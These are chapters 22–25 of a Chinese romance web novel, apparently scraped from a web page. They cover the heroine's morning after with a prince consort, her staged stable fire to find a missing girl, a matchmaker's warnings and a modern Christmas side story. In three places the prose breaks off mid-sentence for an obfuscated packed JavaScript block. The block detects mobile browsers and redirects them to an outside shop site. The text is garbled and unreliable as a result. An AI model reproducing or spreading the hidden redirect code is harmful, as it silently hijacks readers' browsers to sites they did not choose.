愣神间,闻赋光已经环住他的脖颈狠狠压下,两人紧紧相拥,温热的气息交融缠绕,姜栀棠忽然觉得那个人是谁并不重要了。 找出来,构陷他,他永远都会是最配得上她的那个。 22. 第 22 章 “主子,沐浴所需之物已经备好了。”这间厢房连通着隔壁的侧间,侍男们搬入了洗澡用的浴桶,一切准备就绪后,墨舒站在门口,轻声呼唤里面的姜栀棠。 “知道了,你们出去吧。”姜栀棠知道现在不是纠结这些的时候,闻赋光身上的披风在动作间已经散开,他从摇椅上起身,拢了拢她的披风,领她去了隔壁侧间。 隔壁侧间只有他们二人,闻赋光慢吞吞地踏进了大浴桶。水温正舒适,她惬意地泡了下去,靠在浴桶内壁上闭着眼睛昏昏欲睡。 姜栀棠试了试一旁煮好的果汤,温度正好,“这是用果子煮的醒酒汤,是你喜欢的口味。喝了它,洗完就能直接入寝了。” 泡在热汤里,浑身的疲惫一齐涌了上来,闻赋光没有回应,没有动弹,仿若入定般沉稳,对身边人刻意放软了的嗓音不为所动。 “先别睡,”姜栀棠晃晃她,“今日不醒酒,明天该头疼了,你......”话音未落,闻赋光突然睁开了眼,眼神无比清明,与今晚早前的迷糊可爱截然不同。 “你醒了?”姜栀棠放下茶盏,“今晚的事,我可以解释......唔!”没耐心听他继续啰嗦,闻赋光从桶里起身,手上使了些巧劲将他一掀,姜栀棠只觉得一阵天旋地转,待回过神来时,他已经泡在了浴桶中,一声小小的惊呼也被她以双唇堵住。 他不说话了,潮红爬满了整张脸,眼神有些飘忽不敢看她,闻赋光似是觉得他这样有趣,短促地笑了一声。 “主子,出什么事了,需要墨舒进来吗?”门外很快传来了墨舒的声音,侍男们并没有走远,就在旁边耳房候着,有什么动静很容易被听见。 “不......呃,别进来!”方才动作太大,他的领口被她一把扯开,露出了大片精致的肌肤,敞开的领口一直蔓延向下,打湿的衣衫紧紧贴在身上,勾勒出少年人紧致的线条。 闻赋光显然对此情形很满意,此刻她正不老实地在他锁骨上画山水图。姜栀棠抚了抚她的头发,示意她放开,并阻止了旁人涌入观赏这场闹剧。 现在屋里的情形实在非常不宜让第三个人瞧见。 出行在外,即使是一国郡君,所用之物也是拣着便于携带的来,这个浴桶是专为他打造的,虽然所用的料子和雕刻工艺都是极好的,但做得并不算太宽敞,仅够他一人使用。因此,闻赋光独自使用时恰好,若两人都在其中,就有些逼仄了。 二人身躯紧紧相贴,闻赋光被吵醒虽然有些生气,但后来发现了好玩的东西,此时更加不肯放开他。姜栀棠无法,只好继续哄她:“是我不好,我不说了,我们把头发擦干了就睡觉,好不好?” 看他陪了半晌笑脸,况且水渐渐凉了,闻赋光终于大发善心松了手。 * 翌日,闻赋光从沉睡中醒来,她的眼皮重逾千斤,一点睁不开,只有意识渐渐苏醒。 意识恢复,首先感受到的是柔软和舒适。 闻赋光有些纳闷:她的床品一向简单,为了保持人设,她也没有开口要求额外布置,一向是硬一些的,这回睡着却不同往日,难道是她院里那几个老实人开窍了? 反正今日休沐,她也不在乎如今的时辰,干脆多躺会。多么高质量的休息日! 她一觉睡到了自然醒,手里抱枕香香的还很温暖,闻赋光用脸蹭了蹭抱枕,幸福地伸了个懒腰,她准备再躺会。 不过,好像有哪里不太对。 她这一觉睡得应该不短,怎么没感觉到光线呢?在古代没有时钟,如果哪天要出门办事需要格外早起,除了靠院里的侍从来叫,还能靠光线来分辨,可现在她没感觉到一丝光亮,她这一觉睡到什么时辰了? 闻赋光挣扎半天,终于掀开了眼皮,目光所及却仍是一片漆黑。 她坐起来摸索着一把掀开床帘,满室阳光瞬间透过窗棂照了进来,将这张床上的每一寸都映得分明,也成功击碎了她美美大睡一顿后的闲适。 首先,她看出来了,这个地方不是闻府她自己房中,而恰好是她认识,还曾经住过一晚的城外妘祖庙的厢房中。 其次,在床上被她当作抱枕的这个人,虽然侧着头躺着,脸被满头鸦丝挡住了,但闻赋光觉得她似乎、可能、或许认识他...... 最后,她本人以及床上这位神秘人,只着里衣躺在同一张床上,就在几秒钟前,她还把人当作抱枕,难舍难分。 充分判断完此刻的形式,闻赋光有些哆嗦。没事的,没事的,可以处理,她先自欺欺人哄哄自己。 床上那位还没醒,许是被满室阳光刺得有些难受,他皱着眉动了动,哼唧一声,发丝垂落,露出了一小片白皙的脸,但其上疑似牙印的可疑痕迹破坏了这份美感,显得有些滑稽。 闻赋光:“......”细思极恐,她不敢去想那个牙印是谁留下的,万一是他自己的呢,哈哈哈哈哈。 可是怎么办,真的是他。 念及自己和这位重徽郡君打过的几次交道,她茫然地坐在床上,觉得有些无法面对这样的场景。 她的本我说难道昨夜她酒后狂性大发、突发恶疾,闯进这里把他这样那样了? 她的自我正感到无力和呆滞,思索要怎么做才能弥补自己的罪过,让这件事的结果体面些。 她的超我说不不不,这个应该怎么都还不起了,趁他现在还没醒,赶紧溜走吧,就当一切都没发生过。 闻赋光跳下床欲溜之大吉,突然意识到自己身上没有外衣,现在是大白天,她就这么跑出去应该会被当成变态抓起来,得找件衣服糊弄一下。 越是着急的时候就越容易出状况,按理来说这间房里应该会有她昨日穿着的衣服,可现实是她在房中团团转,却怎么都找不到一套她能穿的衣服,这实在太刺激了。 闻赋光赶紧转回床前,将帘子仔细拉好,确保不会有一丝光透进去打扰床上之人,惊醒他。 她壮着胆子走出了房门,迎面却碰上了一张眼熟的脸——是墨舒,姜栀棠身边侍奉的人,之前在锦绣坊时,就是由他下楼来请她上二楼和姜栀棠说话。 见她只着里衣,像做贼似的蹑手蹑脚独自出了门,墨舒微微睁大了眼,轻启双唇,眼看就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876527|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说些什么。 闻赋光怕他把屋里的人吵醒,也怕他引来别人,赶紧上前一把捂住了他的嘴,一记手刀利落地劈在后颈,打晕了他,随后将他轻轻放在门口。 整个过程行云流水,动线衔接得无比流畅,闻赋光只可惜没有其他人在场来见识见识她这身法。 咳咳,实在抱歉,但她只是需要一些些逃跑的时间,只能委屈一下这位小郎啦。 好在姜栀棠似乎不喜欢带太多人在身边,她没碰到其他侍男,顺利离开了这座院子。 咔哒。 门轻轻关上。 床幔后,本该睡着的姜栀棠睁开了眼,眼中毫无初醒的茫然,望着她离去的方向,那张一向清雅却惑人的脸上不带一丝表情,手心逐渐掐紧。 闻赋光不敢耽搁,悄悄潜入了其他厢房。她还穿着一身雪白的里衣,大白天如此在外行走简直比自投罗网还做贼心虚。 为了投宿的信徒方便,庙中会备一两套衣服在厢房里供人临时替换。闻赋光身长而瘦削,这次运气不错,倒是一下就找到了件能上身的。 装扮好自己,一回生二回熟,闻赋光顺着回城的路走去。没走多久,她在路上还碰到了同样进城的牛车,连连感谢赶车的老媪后,她美滋滋地躺到了后头干草垛上,打算开始思考人生。 太阳挂得老高,听老媪说这会已经快到正午了,阳光透过眼皮刺得她不得安生,于是只好伸手去挡。不料在自己的手腕上看到了个意想不到的东西,她眯着眼睛一打量——是个镯子。 那镯子看起来很不一般,触之温润,像玻璃一样透着肉色,飘花是浓郁细腻的翠色,种水和飘花交相辉映,简直像幅山水画。它一直藏在袖子底下,因而她现在才发觉。抬起另一只手一看,竟然还有一只。 考虑到这是古代封建社会,没有后世的造假技术,闻赋光初步可以判断这是真货。自然,这对镯子的来源也不言而喻了。 虽然不知道具体的价格,但她能察觉到这对镯子的贵重。可闻赋光不敢有一丝得意,只有劫财又劫色后的惶恐、懊恼、茫然。 她的世界一直在下雨,她处理不好…… 昨天下了值,姨母唤她过去喝酒,她们二人围绕娶夫的事情谈论了一晚,最后得出了姜榓希望她娶翰林侍读崔家的□□的结论,而她自己十分不情愿与姜榓绑定得更深,因此求姨母宽限了几天,希望能找到摆脱这桩亲事的方法。 之后......她喝得有点多,似乎还跳了回闻府的池塘......再之后......她就不记得了。总之,结局就是今天早上,她出现在城外的妘祖庙里,和当朝的重徽郡君从同一张床上醒来。 闻赋光打了个冷战,决定先把今早的事放放,昨天她喝到断片了,这才做了许多身不由己的事,也对这段时间发生的事情毫无记忆。若这个时候去对峙,岂不是他说什么就是什么,任人拿捏? 这也太被动了。 况且,她也不是不打算处理这个问题,而是要缓处理,慢处理,一步一步地处理,稳扎稳打地处理,从内向外地处理,精准地处理…… 23. 第 23 章 教坊司外。 “这个法子真的安全吗?”沈无虞抿了抿唇,终于下定了决心,艰难地吐出:“若是有更稳妥的法子,我也可以多等些日子的......如此行事,只怕出了纰漏,你会有危险。” 闻赋光摇摇头,“教坊司是礼部下辖,日常都有兵丁守卫,规矩森严无比。而我们再怎么蛰伏,也很难进得了教坊司的门。易容术不足以彻底把我变成里面的熟面孔,即使侥幸混进去了,那些力妇走什么路线都是有定数的,我没法甩开别人到处乱跑,被发现反而会引起他们的警惕。” “就......只有教坊司了?” “我已经以买小仆为由遍寻了京城叫得上名字的人牙子,都一无所获,为了不让人瞧出端倪,我虽然不能直接问,但言语中都暗示过无瑕的条件,却没有一个人牙子说起过她。 况且她娘是礼部侍卿,若是苏阚想要放一个人在教坊司,那恐怕连招呼都不用打,顺手而为罢了。 你别说了,今日这一趟既然已经来了,那总是要试试的。如今这时节,马厩偶尔走个水不算什么的,应当不会过度引起旁人注意。况且经我打探,这座马厩恰好在杂役们住的屋子附近,若是运气好,或许就能确定你妹妹的安危了。” “......好。”沈无虞低下头,闻赋光对他有大恩,原本应当是他替人卖命的。 可她收留他这些日子,并没有吩咐他做什么事,如今还要以身犯险,替他去寻妹妹,他知道自己应该拒绝。但他最终还是没能说出口,他就是这样一个卑劣的人。 沈无虞神情灰暗,忍不住想若是当初闻赋光没把他从何长翊手上弄出来,他会屈服吗?恐怕是会的,为了苟且偷生,就算是杀母仇人,他应当也是会在拒绝了多次以后,不得不委身的。这样卑劣的自己,她应该什么都知道,却又什么都不在意。 闻赋光和沈无虞蹲在教坊司不远处的一棵大树上,她没法妄动,静止不动的时候是最难熬的,她会忍不住想起某人。 当着沈无虞,闻赋光虽然说得头头是道,但她自己心里也知道这个计划十分粗糙,可她现在急需要做些什么来转移些注意力,让煎熬的心沉浸在其他事中,暂且忘记那个人。总之,她还是急躁地选择了尽快实施这个计划。 而关于沈无瑕有可能在教坊司这事,她还是经人提醒。 那日从妘祖庙中悄悄溜出来,她坐着老媪的牛车进了城,却不知道该去哪里。由于对现状实在一筹莫展,便去找了阮笛,打算吹会儿牛,散散心。 两人去了先前去过的西域酒馆说话,这回闻赋光做东,选了个包间,酒是男掌柜亲自上的。 闻赋光满面愁绪,不仅阮笛看得出来,连穿着清凉性感的男掌柜也能看得出,便问她可有什么心事。当着男掌柜的面,闻赋光张了张口,没说什么。 她的烦心事那可是多了去了,可是都没法对外人言说。最后,她拣了件不那么凶险的事说了出来,即遍寻沈无瑕而不得的事。 当然不是直接将来龙去脉说出口,她含糊地说自己欲寻找一个故人的孩子,却不知道她是被卖到哪里了。她只想到了京中的人牙子那里或许会有线索,可那孩子消失得无影无踪,连人牙子那里也打听不出来什么。 听了这话,那男掌柜沉吟一二,便笑着说还有个地方或许曾买进人,旁人却不好打探,那就是教坊司。不过他也只是猜的,里头具体的情形却是不好说呢。 男掌柜说完便带着一身丁零当啷,亭亭袅袅地走了。闻赋光仔细想想,觉得他这个猜想也有几分道理。眼看京中能找的地方已经找遍了,若不去教坊司里找找,那或许就再也找不着了。只是教坊司不是她能够随意进出的地方,为了找人,她非得制造些动静出来,有了骚乱才有机会。 如今这时节,各处都要生火烧碳了。闻赋光捧着面小镜子蹲了没一会,终于功夫不负有心人——在中午阳光最盛之时,成功点着了马厩。 冬季本就干燥,马厩里又到处都是容易着火的干草,火势蔓延得很快,火舌转瞬间便已经攀上了屋顶。 但只是这样还不够,她纵火是为了引出一旁院子里居住的杂役们出来灭火,若先被周围把守的兵丁抢先扑灭,那就功亏一篑了。 因此,闻赋光还得破坏附近的大水缸,那是专为走水应急预备的。 教坊司周围都有兵丁把守,她今日带了弹弓出来,需得一击即中,否则既引起了旁人的注意,又没达到目的,或许就会难以逃出生天。 待火势渐渐大了,近处的水缸被击碎,远处的水又一时难以大量运来,附近必然大乱,住在杂役院里那些仆从才有可能全跑出来。若非如此,但凡只派出青壮年来救火,他们的计划都达不到目的。 她将沈无虞留在树上,希望他眼神够好,能擦亮眼睛在人群中看清一张张脸,确定其中是否有他亲妹。 教坊司的院墙很高,闻赋光往西面奔去,冒险上了棵更高的树。 她冷静地夹起三颗石子,没有过多犹豫,确定好角度后即刻动手,随着一阵尖厉的破空声,视野内的目标应声而碎,大量水流争先恐后地涌出来。 “什么人!”附近的看守尚未收到走水的消息,被水缸破碎的声音一惊,以为是有人袭击,抬头四处张望起来。 闻赋光在树木常绿的叶片下隐蔽了身形,没有轻举妄动。 “走水了!走水了!马厩走水了!快,快来水缸里打水救火!”消息终于传了过来,传话之人已被烟熏了一头一脸,她带着一群人提着木桶,从远处飞奔而来,还没靠近就大声叫喊着救火。 看守们这时才反应过来,可水缸已碎,这附近已经没有储好的水了,他们得现打! 随着那群人逐渐靠近,他们也终于见着了地上蔓延开来的一大片水迹,为首的那个大声骂了句什么,看守中立刻就有人不乐意了——这水缸分明是有人暗中破坏,怎么能怪到她们头上!况且起了火,难道不是你们内院失职吗! 这话或许只是无心之事,却仿佛点燃了火药桶,矛盾立刻激化了。双方还没救上火,已经添上了新火,你来我往,唇枪舌剑,场面热闹得跟炸米花似的。 闻赋光对此进行简单的点评:看起来这教坊司中也是藏龙卧虎,派系林立,谁也不服谁啊。 这可不是简单的打嘴炮,而是职场生存之道中最常用的一条——甩锅扣锅推诿一条龙。感谢他们遇事先不急着处理事情,而是先把锅甩出去的做派,碰撞出了意想不到的效果呢,真是天助我也。 任务已经完成,闻赋光趁他们不注意下了树,冲附近一个看似无人的方向打了个手势,便悄悄溜回了沈无虞依然蹲着的那棵树上。 “如何了?”闻赋光三两下爬上树,沈无虞紧紧抓着枝干,冲她点点头。 “走!”既然已经有了结果,闻赋光抓着他下了树,三下五除二飞远了。树上不是说话的地方,回去再说。 虽然暂时还没有人发现他们俩,不过今日就是被人看到了面容也不慌,他们出来前已经易容过一番,如今这两张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885371|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是像谁都行,反正就是不像他们自己。 今日她也不是全无准备,还有一个阮笛正蹲在附近不远处。若她不幸被人发现,只要不是行凶当场被人抓住,便推脱到五城兵马司出巡,她们总有说法可以脱身。不过她效率够高,没用上阮笛出手。 顺利回到沈无虞所居的小院,闻赋光转身关上院门,沈无虞已经压抑不住兴奋的语气:“无瑕的确在教坊司中,我看得分明!我是她哥哥,从前母亲忙着看诊,平日里都是我照顾她更多,不会有错! 是个年长些的女孩子拉着她跑出来的,她人小跟不上,那个女孩把她一把抱了起来往外跑。只是隔得太远,看不清无瑕神色如何。不管怎么说,多谢闻娘子!”说罢他当即下拜,无比感佩。 这着实是个振奋他的好消息。除了她刚将他偷出来时,他一次□□代了不少话,平日里他都是个安静寡言的人,闻赋光还是头一次见他如此不加掩饰、真切的欣喜。 “现在确认过你妹妹在哪里,我们也算是有了个方向。”闻赋光轻轻笑了笑,把他扶了起来,“但要把她弄出来,这件事不是一时的功夫。” 沈无虞神色一凛,二人进了里屋说话。 屋里的茶水早凉透了,闻赋光按下他要重新去煮的身影,将就着灌了半壶,“按照先前打听来的,教坊司是发落有罪的官员家眷之地,但那些人的资质不一定够好,因此也会买些人进去学艺。 按理说,你妹妹并非罪臣家眷,看管得应该不如那些人严。可你今日也看到了,若非附近走了水,她们恐怕根本没机会跑出来。” 沈无虞皱着眉,复又似乎想到了什么,焦躁不安地拧着手,“是因为我?我逃跑了,所以苏阚更不会轻易放过我妹妹,要将她看得死死的。” “不知道。”闻赋光干脆地说,“先不论为什么,总之她要脱身极为困难,教坊司的人没法靠钱赎身。要是想出来,其一,要么技艺极为众,能够进宫廷献艺会,博得天家欢心,或许有机会。” 沈无虞面色黯然,喃喃道:“这怎么可能......她还是个孩子,没有十年八年,怎么练得成技艺......” “其二,要么像今日一般,我们再制造一场骚乱,趁教坊司混乱时将她掳走。”闻赋光叹了口气,“但引发今日这样的骚乱已经很困难了,是我们运气好才没被发现。而若要混乱到能够掳走一个孩子的程度,那得是从内部发生什么大事,人人都顾不上别人了。除非教坊司内部出什么问题,仅靠我们绝无可能。” “……若是不在教坊司内,在其他的什么地方呢?” “恐怕也没什么指望。”闻赋光摇摇头,“坊内人员要出门,无非是去官员们的私宅去献艺。有不少官员有资格请教坊司的人去弹琴赏舞,可人数是严格限定的,不会很多,只会是那些学成了的乐户舞郎。你妹妹还小,她没资格出教坊司去献艺,就算是干杂活也太年幼了,帮不上忙。” “我明白了……能做到这一步,已经很不容易,”沈无虞苦笑着,“能够确认她身处何方,已经是意外之喜,至于营救她出来,真的没办法了,对吗?” “确实没想到法子。”闻赋光心有顾虑,“你当初消失得蹊跷,若苏阚不傻,就该猜到你会去找你妹妹。虽然你不一定能确认你妹妹在教坊司,但她一定不会毫无准备,或许会将它变成瓮中捉鳖的圈套也说不定。若能救你妹妹,自然要救。但如今不是好时机,我们只能静观其变。” “会有那一天吗……” “会。” 24. 第 24 章 “哈哈哈,都在酒里,都在酒里......来,感谢你帮忙,我敬你!”闻赋光努力展露无辜天真的笑,冲着对面人举杯。 阮笛家中,两人摆了一桌。为了阮笛仗义帮忙,给她放火留条后路的事,今晚闻赋光请客,去广贤楼置了桌酒菜回来。 阮笛换了个椅子,坐到闻赋光身边,一把搂住她的肩,凑到她耳边贴近了说话:“识相点!今天你要不跟我说实话,干脆就别出这个门!” 闻赋光故作羞涩,冲她抛媚眼:“那这辈子咱俩就一起过了?行啊,正好解了我一大麻烦。” “?” “上面发话了,”闻赋光食指往上指了指,“要我娶一个谁谁家的郎君,我正琢磨怎么才能回绝呢。” “那我可帮不上忙。”阮笛放开她,吃了口菜,对她挤挤眼睛:“若我是男子,还能哭天喊地打上你家,说你强占了我的身子,又抛弃了我,现在还要另娶新欢,非得把你这婚事搅和了不可。” 想想那场面,浩然,盛大。 闻赋光虎躯一震,觉得可以作为最后的保底手段。“说不定到时还真要麻烦你呢……” 阮笛嘿嘿怪笑;“我可以扮作那男子的亲属,帮忙把你家门砸得稀巴烂,若你需要,可以把你也砸了。对了,你可有相好吗?” 相好……自然没有。工具人倒是有,但这个任务太过艰巨,恐怕不是一般男子能做到的。那得是个泼辣性子才能做,沈无虞看着就不行。 闻赋光一脸正气凛然:“没有啊。” “那你那个沈家郎君呢?你为了找他妹妹,可是不惜以身犯险啊,那可是教坊司,你都敢一把火烧了!”阮笛的眉毛快挑到天上去了。 “马厩而已,别说得好像我踏平了教坊司一样,跟造反似的。”闻赋光直直戳向她的眉毛,阮笛吃痛,反手把她的手拍开,清脆的一声打在皮上,闻赋光作了怪又挨了打,咯咯笑着心满意足地收了手。 “你不是心悦他才帮他,难不成是为了道义?”阮笛斜睨她一眼,“我还以为你是脑子不清醒,见着个男子就昏了头,连性命也不要了。” “哪里的话!我看着是这样不靠谱的人吗?”她实在冤枉。 “那可不一定,我先前还以为你只是不着调,没想到错看了你。你说放火就真的敢放火,我觉得你一定还会干更出格的事。” “好得很,要是真有这么一天,我第一个拉着你,咱俩狼狈为奸,到时候谁也别想跑。” 阮笛一拍桌案,筷子应声而起。 她以筷子为武器向闻赋光刺来,闻赋光不甘示弱,马上举起筷子以回击,两人在屋里缠斗起来。 前几日在酒馆中,闻赋光就已经将沈家的事对阮笛和盘托出,有阮笛帮忙,她也更安心些。 毕竟同路而行的朋友难得,阮笛和她合得来,两人对某些事的意见还暗戳戳地一致,闻赋光曾经狠狠纠结过要不要告诉她,最后还是倒豆子似的把沈家的事全倒了出来。 热身完毕,菜快凉了,双方纷纷偃旗息鼓,坐下和谈。在阮笛面前,闻赋光从没有掩盖过自己对姜榓毫无忠心可言,阮笛对此并不吃惊。 她也一样持冷眼旁观的态度,对她们这样的小喽啰来说,谁做皇帝都一样过日子,关心这些还不如多吃两口好菜。只是办差时有些事见得多了,难免对这些贵人的走狗有些不忿。 “你要跟何长翊过不去,这也正常。像这种货色,若非有个好嫂嫂罩着,早被人砍了!可我总觉得,你是跟她上面那个过不去。我要是不知道内情也就算了,偏偏我知道,你平时不爱钻营,也不爱跟人起冲突,为你那个...鞍前马后?”阮笛一掌拍下,桌角应声而裂,“那可不是你的做派!” 说得没错,可这就涉及到不好透露的地方了。 闻赋光想了想说:“你说得对,确实有缘故。姜栯害死了一个与我有很深联系的人,我要向她寻仇。但我还没本事撼动这样的大树,能打击她,甚至就算只是给她的属下添添堵也是好的。” 这个理由看似有些牵强,但闻赋光着实没撒谎,话中除了那人的身份她没透露,其他每一个字都是真的。 阮笛察觉到她话里的认真,压着眉听她说完,开口道:“那孩子确实在教坊司?你可有什么打算?我都帮过你了,不如帮到底,也算是做件好事。” 闻赋光摇头,“暂时还不成,教坊司守备森严,要弄个人出来实在不容易,再等些日子看看吧。” “嗯,那你那门不想要的婚事呢?说正经的,你准备怎么做?” “这个也......还没想到。”这些天她又忙又乱,没空去琢磨这些。 “大不了就直接摊牌,说我已经有看中的人,通过媒妁之约定下终身了。”闻赋光叹口气,“但不到万不得已不能这么做。这种事情要是闹起来,旁人即使面上不说什么,私底下我一定会被他人当个乐子,届时反而出名,更不安生。” “确实是不安生,娘子!您二位若是非要结亲,恐有大灾祸呢!” “什么灾祸?可有师傅能化解?”周媒公家中,听着媒公一脸笃定,闻赋光皱起眉头,十分狐疑地盯着他。 也不怪她有疑虑,在她的认知里,合八字、谶纬之类的都是结亲时意思意思,走个过场的东西,怎么可能会真的合不上,导致不能结亲? 媒公不想赚这钱了么。 随后,她想到了另一个可能:或许她花一笔重金“请回”一件什么开过光的宝物,就能将这个灾祸给化解了。 她此刻满满的不信任,在面上也带了些出来,媒公顿时受到侮辱般:“娘子想岔了,阿叔从二十五岁就开始做这行,到如今几十年来可从没有诓骗过谁的!您与那位小郎的八字,阿叔我找了好几个师傅,都说不成。若你不信,我便将她们都找来对质,你年纪轻轻的,可别小看了我老头子!” “既然如此,那阿叔的意思是?” “娘子啊,阿叔自是希望天下能多一对恩爱妇夫的,可若你们二位成了亲,将来若应了那灾祸,可不就是砸了我的招牌,到时候谁还敢找阿叔说媒? 便是不赚娘子一分钱,这亲,我也要劝娘子,不能结呀!” 他言辞恳切,句句都是掏心掏肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905823|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看起来十分情真意切,仿佛真的在为她为自己考量。 闻赋光点点头,“我知道了。” “那,娘子的意思?” “我不在乎。” “这...这如何使得!娘子先前不是说年幼时遇到一个方士,她说你要寻个孤身的男子结亲,你便来寻我了,怎么,怎么如今又不信了呢?”媒公没料到闻赋光会是如此平静无波的反应,一时间有些难以置信。 那当然是因为她瞎掰的啊,闻赋光慢条斯理地掸了掸袖子,优雅地喝了口茶水,“我对这位小郎的情况已经有些了解,心向往之,不想错过一位能干的夫郎。” 而且交给媒公的那份,她现在的“生辰八字”,又不是她本人的,原身和肖从晗八字不合,那也不代表她和肖从晗八字不合吧。 闻赋光觉得自己的思路相当正确,但这些她自然不会告诉媒公。 接下来,饶是媒公如何许诺给他些时间,再去寻一个好的,闻赋光都没答应。多番苛刻的条件限制下,能找到一个看着还算正常的肖从晗已经很不易了,若要寻第二个...... 闻赋光挑眉,嘴角扯出一抹不怀好意的笑:“那他弟弟呢?上回阿叔说,他弟弟仿佛也快到了嫁人的年纪了?换成弟弟如何?” “这,这也不可行!那位小郎的命格,不适宜与娘子有任何关系,你若娶了其弟,就还是与他有了千丝万缕的干系,届时也难以逃脱宿命呀!”媒公毫不犹豫拒绝了,一副信誓旦旦的样子。 ......越说越玄乎了,怎么换弟弟也不行?要是再换一个别家的还是不行怎么办?他突然改口,莫非是受了谁的指使? 看媒公理直气壮,仿佛一心为她着想,闻赋光却不知怎的,还是从中捕捉到一丝心虚。见她始终没松口,他的语气也软下来,不敢向她保证定能寻到合适的人选。 周媒公是个老滑头,做这门行当与人打了几十年交道,她从他这里是问不出什么的。闻赋光有样学样,声称要遍寻方士化解这可能的冲突,模棱两可地糊弄过他,任凭他在后头抓耳挠腮,便从媒公家离开了。 会是姨母收买了媒公,在警告她吗?又或许是姜栀棠终于忍不住出手了? 那他脾气还怪好的,能忍这么久。 念及自己在回城后,把装有那对手镯和玉坠的盒子打包成炸药包,从锦绣坊二楼的窗户外扔进去并且不置一词的行为,闻赋光突然有些自豪。 她可真不是个东西! 有空是该找他谈谈,但如今事多压身,她有点死猪不怕开水烫了。前面姨母派人通知过她,明日要她陪姨父去妘祖庙上香。 妘祖娘娘保佑姻缘和安产,姨母这个年纪,堂妹也有好几岁了,自然不会是她还要再求一子。放眼整个闻家上下,能沾点干系的也就她自己。 因此陪姨父上香不过是个幌子,而姨母的吩咐一下就昭然若揭——她们把她和崔家小郎的相亲见面会安排在那里了。 相亲,不论古今,实在是这个世上相当浪费生命的一件事。为了那份家业,闻赋光努力哄自己同意,她总得牺牲一二。 25. 第 25 章 【如题,这是一篇现代背景圣诞节贺文,与正文背景有关】 “你好,你的外卖到了,我放在前台,你记得取一下吧。” “好的。”挂断电话,闻赋光从工位上起身。 静坐了一下午,太久没活动的四肢越发僵硬,她起来时踉跄了一下,衣角带倒了桌上的装饰品,差点把它没摔个粉碎。多亏被什么东西拦了一把,好歹没丢人。 办公区里还有些人,大家心情都很烦躁,没空理会她这点小动静,闻赋光蹑手蹑脚理好桌面,放轻脚步离开。 她拿起桌上的手机揣进兜里——里面还有一根她预先塞进去的充电线,除此以外她没带任何东西,空着手悄悄靠近电梯间。 电梯缓缓上升,门开了,闻赋光满意笑笑。很好,没碰到任何人。 没办法,加班狗的下班仪式就是这样偷偷摸摸的。 电梯里很空旷,闻赋光贴在角落里,没有发出任何声音。 降到四楼时,门又开了,是两个其他楼层的加班狗。 他们带着如出一辙的,疲惫茫然的神情麻木地走进电梯,没有在意闻赋光一瞬间有些异样的神情和往旁边退了一步的动作。 他们只是下意识地抬眼扫过,随即在心底默默得出上班上疯了,做什么都有可能的结论。 闻赋光脸色微红,左手捏成拳,虚空比划了几下——这更加印证了这一点。 也是,今天是圣诞节,年轻人们都在外面过节,这个点还在写字楼里的,谁能不疯。 按键上方的小电视里噼里啪啦地放着圣诞曲,电梯里的人们却是死一般的寂静,谁也没力气开口说话。 好在这样沉默的折磨没有持续太久,电梯很快停在了一楼。闻赋光冲出电梯门,拿走了前台的外卖,又用最快的速度奔上了在工位上就提前叫好的车。 窗外是琳琅满目的商铺,不约而同地挂上了红绿的装饰,闻赋光此时却无心欣赏。一路上她都偏着头,小臂微微扬着,腰侧与臂间空出一块间隙。 “到了。” 司机师傅的声音冷不丁地响起来,闻赋光如梦初醒般抓紧袋子下了车。 小区里最角落的路灯坏了几天了,她打开手电筒,快步奔向自己在这个城市里最温暖安全的小小港湾。 “进来吧。”她拉开门,对着身侧说道。 身边什么也没有,片刻后,她进屋关上了门。 家里已经提前收拾过卫生,此时显得很整洁,唯有窗边一棵小小的圣诞树为这间屋子增添了几分节日氛围。 厨房里,闻赋光把买来的东西一件件拿出来。 袋子里是烤好的蛋糕胚,果酱,还有苹果,蓝莓,草莓,橙子等水果,以及冰箱里提前打发的奶油,无一例外都是做甜品的材料。 “先切水果吧。”她挑了一个苹果和橙子冲洗干净,刚放到案板上,水果刀突然飞了起来——这一幕好像魔法小说里,女巫用魔法做家务的场景。 闻赋光松了手,任凭那两个圆滚滚的水果被飞舞的水果刀切成厚薄均匀的片。 当大人太累了,她至今坚信这个世界确实有魔法,只是她的入学通知书迷了路,没想到今日先当上女巫了。 是的,她对这可以堪称诡异的一幕并不惊奇——此时她的腰间正传来温热的触感,而这种情况已经持续了一段日子了。 为什么要叫他404,哪怕是被他用毛茸茸头顶攻击颈窝的情况下,闻赋光也没有告诉他原因。 谁叫他不肯告诉她他真正的名字呢,这不过是一场小小的以牙还牙。 她也说不上来具体是哪一天开始,她发现自己身边变得有些不对劲的。 